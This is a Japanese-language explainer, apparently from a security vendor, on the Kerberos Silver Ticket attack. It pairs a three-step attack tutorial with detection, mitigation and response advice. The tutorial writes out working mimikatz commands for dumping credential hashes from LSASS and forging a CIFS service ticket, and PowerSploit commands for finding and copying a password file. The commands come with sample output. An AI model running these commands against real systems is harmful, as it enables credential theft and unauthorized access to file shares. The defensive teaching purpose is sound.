Silver Ticket 攻撃
Golden Ticket と同様の概念として、Silver Ticket 攻撃は資格情報を侵害し、Kerberos プロトコルの設計を悪用することを伴います。とはいえ、ドメインへの無制限のアクセスを攻撃者に付与する Golden Ticket とは異なり、Silver Ticket は攻撃者が特定のサービス向けのチケット付与サービス(TGS)チケットだけを偽造できるようにするにとどまります。TGS チケットはサービスのパスワードハッシュで暗号化されるため、攻撃者がサービスアカウントのハッシュを盗めば、そのサービス向けの TGS チケットを生成(mint)できます。Silver Ticket 攻撃の範囲は小さくなる可能性がありますが、それでも攻撃者の武器として強力であり、リソースへの持続的かつステルスなアクセスを可能にします。サービスアカウントのパスワードハッシュのみが必要なため、Golden Ticket 攻撃よりも実行が大幅に容易です。LSASS.exe からハッシュを収集するような手法や Kerberoasting は、攻撃者がサービスアカウントのパスワードハッシュを入手する一般的な方法です。
脅威の概要
対象:Active Directory
ツール:mimikatz、impacket、PowerSploit
ATT&CK® 戦術:Credential Access
ATT&CK テクニック:T1558.002
難易度
検知:難しい
緩和:難しい
対応:中程度
攻撃チュートリアル:シルバーチケット攻撃の仕組み
ステップ 1
サービスアカウントの資格情報を侵害する
TGS チケットを発行できるようになるには、攻撃者はまずサービスアカウントのパスワードハッシュを侵害する必要があります。この例では、攻撃者がファイルサーバーを侵害したのち、サービスアカウントのパスワードハッシュも侵害します。:
PS> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
# ... output truncated ... #
Authentication Id : 0 ; 29151002 (00000000:01bccf1a)
Session : Interactive from 5
User Name : DWM-5
Domain : Window Manager
Logon Server : (null)
Logon Time : 21/07/2020 10:26:16
SID : S-1-5-90-0-5
msv :
[00000003] Primary
* Username : FileServer1$
* Domain : DOMAIN
* NTLM : 281fd98680ed31a9212256ada413db50
* SHA1 : c8fe518dfa728eb92eb2566328f0123e3bcb2717
# ... output truncated ... #
mimikatz(commandline) # exit
Bye!
ステップ 2
Kerberos TGS チケットを偽造する
たとえば mimikatz などのツールは、Silver Tickets を発行(作成)するために使用できます。TGS チケットを偽造する手順は、Golden Tickets を発行するのと似ており、
- /domain — Active Directory ドメインの完全修飾ドメイン名(FQDN)
- /sid — Active Directory ドメインの SID
- /user — 偽装するユーザー名
- /target — サーバーの完全修飾ドメイン名(FQDN)
- /service — 対象のサービス名
- /rc4 — NTLM/RC4 パスワードのハッシュ
PS> .\mimikatz.exe "kerberos::golden /user:NonExistentUser /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /rc4:8fbe632c51039f92c21bcef456b31f2b /target:FileServer1.domain.com /service:cifs /ptt" "misc::cmd" exit
mimikatz(commandline) # kerberos::golden /user:NonExistentUser /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /rc4:8fbe632c51039f92c21bcef456b31f2b /target:FileServer1.domain.com /service:cifs /ptt
User : NonExistentUser
Domain : domain.com (DOMAIN)
SID : S-1-5-21-5840559-2756745051-1363507867
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 8fbe632c51039f92c21bcef456b31f2b - rc4_hmac_nt
Service : cifs
Target : FileServer1.domain.com
Lifetime : 27/07/2020 12:20:26 ; 25/07/2030 12:20:26 ; 25/07/2030 12:20:26
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'NonExistentUser @ domain.com' successfully submitted for current session
mimikatz(commandline) # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7767043B8
mimikatz(commandline) # exit
Bye!
ステップ 3
偽造したチケットを使用して、さらなる目標を達成します
前のステップで、攻撃者はシルバーチケット(silver ticket)を偽造し、それを新しい cmd.exe セッションに注入しました。攻撃者が作成(mint)した Silver Ticket では cifs サービスが指定されているため、攻撃者は偽造した TGS を使用してファイル共有にアクセスできます。TGS が偽造されているため、実際にはドメインに存在しないユーザーに対しても作成でき、その結果、対応担当者が攻撃者を追跡しにくくなります。この例では、攻撃者は偽造したチケットと、PowerShell モジュールの Find-InterestingFile cmdlet を使用して PowerSploit ファイル共有をスキャンし、機密データを探索して、それを流出(exfiltrate)します。
PS> Find-InterestingFile -Path \\FileServer1.domain.com\S$\shares\
FullName : \\FileServer1.domain.com\S$\shares\IT\Service Account Passwords.xlsx
Owner : DOMAIN\JOED
LastAccessTime : 27/07/2020 12:47:44
LastWriteTime : 27/07/2020 12:47:44
CreationTime : 10/04/2011 10:04:50
Length : 76859
PS> Copy-Item -Path "\\FileServer1.domain.com\S$\shares\IT\Service Account Passwords.xlsx" -Destination "C:\Windows\Temp\a20ds3"
PS>
検知、緩和、対応
検知
難易度:高
チケット付与サービスチケット(ticket-granting service ticket)を取得する通常の手順では、ドメインコントローラーに生成を依頼します。呼び出し元が自分の身元を証明すると、ドメインコントローラーはサービスアカウントのパスワードで暗号化された TGS を返します。しかし攻撃者がそのパスワードを侵害しているため、ドメインコントローラーと通信せずに TGS チケットを作成(mint)できます。したがって、Silver Ticket の検知はエンドポイントでのみ可能であり、TGS チケットに対して、次のような改ざんの微細な兆候を調べる必要があります:
- 存在しないユーザー名
- 変更されたグループ所属(追加または削除)
- ユーザー名とIDの不一致
- 通常より弱い暗号化タイプ、またはドメインの最大値を超えるチケット有効期間(ドメインのデフォルト有効期間は 10 時間、mimikatz のデフォルトは 10 年)
Windows のイベントログには、Silver Tickets の検出に役立ついくつかの監査イベントがあります:
イベント
ソース
情報
監査グループのメンバーシップ: イベント ID 4627
メンバー コンピューター
- ユーザーのセキュリティ識別子(SID)
- グループ所属
メンバー コンピューター
- ユーザーのセキュリティ識別子(SID)
- ユーザー名
- 送信元 IP(潜在的に侵害されたホストを示す)
軽減
難易度:中
Silver Tickets は Kerberos プロトコルを悪用するため、その使用リスクを完全に排除することはできません。とはいえ、攻撃者がサービス アカウントのパスワード ハッシュを侵害することをより困難にするための対策はいくつかあります。
- サービスアカウントには強力なパスワード衛生を徹底してください。パスワードはランダムに生成し、最低 30 文字にし、定期的に変更する必要があります。
- PAC Validation を有効にします。既知の制限 はあるものの、Silver tickets の検出と防止に役立つ可能性がある状況もあります。
- メンバー用ワークステーションからエンドユーザーの管理者権限を削除し、制御された権限昇格ソリューションを導入してください。
- メンバー用ワークステーションおよびサーバーへの管理アクセスを、必要最小限に抑えてください。
- Microsoft LAPS を使用して、ローカル管理者アカウント用の強力でランダムかつ固有のパスワードを作成し、定期的に自動的にローテーションしてください。
- Kerberoasting に対して推奨される緩和策を適用してください。
- ユーザーがセキュリティ境界を越えて管理者権限を保有できないようにしてください。たとえば、最初にワークステーションを侵害した攻撃者が、ワークステーションからサーバーまたはドメインコントローラーへ移行するために権限を昇格できてはなりません。
対応
難易度:中
Silver Ticket が検出された場合は、次の対応アクションを実行してください。
- インシデント対応プロセスを有効化し、インシデント対応チームに通知します。
- フォレンジック調査および根絶(排除)と復旧のため、関係が疑われるすべてのコンピューターを隔離します。
- 侵害されたサービスアカウントのパスワードをリセットします。
共有する
Entra ID アプリケーション権限の悪用—仕組みと防御戦略
AdminSDHolder の改変――仕組みと防御戦略
AS-REP Roasting 攻撃—仕組みと防御戦略
Hafnium 攻撃—仕組みと防御戦略
DCSync 攻撃の解説:Active Directory セキュリティへの脅威
パス・ザ・ハッシュ(PtH)攻撃を理解する
Golden Ticket 攻撃とは?仕組み、検知、予防
gMSA の悪用攻撃と Golden gMSA 攻撃の解説
DCShadow 攻撃—仕組み、実例、そして防御戦略
ChatGPT プロンプトインジェクション:リスクの理解、例、予防
NTDS.dit 抽出攻撃の解説
Kerberoasting 攻撃—仕組みと防御戦略
Pass-the-Ticket 攻撃の解説:リスク、例、そして防御戦略
パスワードスプレー攻撃を理解する
平文パスワードの抽出(Plaintext Password Extraction)解説:リスク、例、予防
Zerologon 脆弱性を解説:リスク、悪用、緩和策
ランサムウェア攻撃の完全ガイド
Skeleton Key 攻撃:仕組みと検知方法
ラテラルムーブメント(Lateral Movement):それは何か、仕組み、予防策
中間者(MITM)攻撃:それが何で、どうやって防ぐのか
なぜ攻撃者は PowerShell をこれほどまでに好むのでしょうか?
サービスアカウント攻撃と、その防御方法(4選)
ビジネスへのマルウェア攻撃の影響を防ぐ方法
クレデンシャルスタッフィング(Credential Stuffing)とは?
PowerUpSQL で SQL Server を侵害する
Mousejacking(マウス・ジャッキング)攻撃とは?そして防御方法
Security Support Provider(SSP)を使った認証情報の窃取
レインボーテーブル攻撃:仕組みと防御方法
パスワード攻撃を総合的に理解し、止める方法
LDAP Reconnaissance
Pass-the-Cookie 攻撃で MFA を回避する
Golden SAML 攻撃の究極ガイド